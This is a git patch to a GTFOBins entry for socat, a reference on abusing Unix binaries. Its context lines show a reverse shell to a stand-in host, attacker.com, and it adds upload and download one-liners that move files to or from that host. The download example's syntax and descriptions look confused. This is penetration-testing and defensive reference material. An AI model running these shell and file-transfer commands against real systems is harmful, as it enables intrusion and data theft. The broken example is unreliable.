From 1f6d44f7a008c3afa61916f9947bc0dbbe6aea57 Mon Sep 17 00:00:00 2001 From: Maciej Piechota Date: Mon, 8 Jul 2019 17:26:18 +0100 Subject: [PATCH] Update socat.md --- _gtfobins/socat.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index f7185b3..9e114ff 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -23,4 +23,16 @@ functions: RHOST=attacker.com RPORT=12345 ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane + upload: + - description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box. + code: | + RHOST=attacker.com + RPORT=12345 + ./socat tcp-connect:$RHOST:$RPORT file:path + download: + - description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box. + code: | + RHOST=attacker.com + RPORT=12345 + ./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat ---